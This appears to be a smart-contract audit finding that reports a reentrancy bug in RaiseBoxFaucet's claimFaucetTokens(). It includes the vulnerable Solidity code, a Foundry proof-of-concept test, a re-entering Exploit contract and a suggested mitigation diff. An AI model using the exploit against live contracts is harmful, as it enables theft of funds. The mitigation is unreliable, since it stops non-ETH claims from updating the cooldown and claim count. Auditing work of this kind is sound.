Root + Impact
Description
-
Since the CEI pattern is not properly followed and the update (lastClaimTime[faucetClaimer] = block.timestamp;) happens afetr sending Sepolia ETH to the user,
a malicious claimant could re-enter the RaiseBoxFaucet::claimFaucetTokens() function and get twice as many tokens as defined in RaiseBoxFaucet::faucetDrip.
-
They can do it by calling RaiseBoxFaucet::claimFaucetTokens() from a contract that has a receive() or fallback() function which calls RaiseBoxFaucet::claimFaucetTokens() again. This would allow them to bypass the lastClaimTime[faucetClaimer] check and get double the intended amount of the faucet tokens.
function claimFaucetTokens() public {
faucetClaimer = msg.sender;
@> if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (
faucetClaimer == address(0) ||
faucetClaimer == address(this) ||
faucetClaimer == Ownable.owner()
) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (
dailyDrips + sepEthAmountToDrip <= dailySepEthCap &&
address(this).balance >= sepEthAmountToDrip
) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@> (bool success, ) = faucetClaimer.call{
value: sepEthAmountToDrip
}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip
? "Faucet out of ETH"
: "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
*
* @param lastFaucetDripDay tracks the last day a claim was made
* @notice resets the @param dailyClaimCount every 24 hours
*/
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
@> lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
Risk
Likelihood: High
-
This will occur when the user is a malicious contract with a receive() or fallback() function which calls the RaiseBoxFaucet::claimFaucetTokens() function.
-
Every user (address) can exploit this vulnerability only once, because they can get Sepolia ETH from the faucet only one time.
Impact: High
Proof of Concept
Please copy and paste the following code in the test file, and run it.
function testExploiterCanGetDoubleTokensAmount() public {
Exploit exploiter = new Exploit(raiseBoxFaucet);
vm.prank(address(exploiter));
raiseBoxFaucet.claimFaucetTokens();
assert(
raiseBoxFaucet.getBalance(address(exploiter)) ==
raiseBoxFaucet.faucetDrip() * 2
);
}
Also insert the following contract to the end of the test file.
contract Exploit {
RaiseBoxFaucet raiseBoxFaucet;
constructor(RaiseBoxFaucet _raiseBoxFaucet) {
raiseBoxFaucet = _raiseBoxFaucet;
}
receive() external payable {
raiseBoxFaucet.claimFaucetTokens();
}
}
Recommended Mitigation
To fix this issue, the state changes (effects) need to happen before the interaction (sending Sepolia ETH).
This can be done as follows.
function claimFaucetTokens() public {
// Checks
faucetClaimer = msg.sender;
// (lastClaimTime[faucetClaimer] == 0);
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (
faucetClaimer == address(0) ||
faucetClaimer == address(this) ||
faucetClaimer == Ownable.owner()
) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
// drip sepolia eth to first time claimers if supply hasn't ran out or sepolia drip not paused**
// still checks
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
// dailyClaimCount = 0;
}
if (
dailyDrips + sepEthAmountToDrip <= dailySepEthCap &&
address(this).balance >= sepEthAmountToDrip
) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
(bool success, ) = faucetClaimer.call{
value: sepEthAmountToDrip
}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip
? "Faucet out of ETH"
: "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
/**
*
* @param lastFaucetDripDay tracks the last day a claim was made
* @notice resets the @param dailyClaimCount every 24 hours
*/
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
// Effects
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
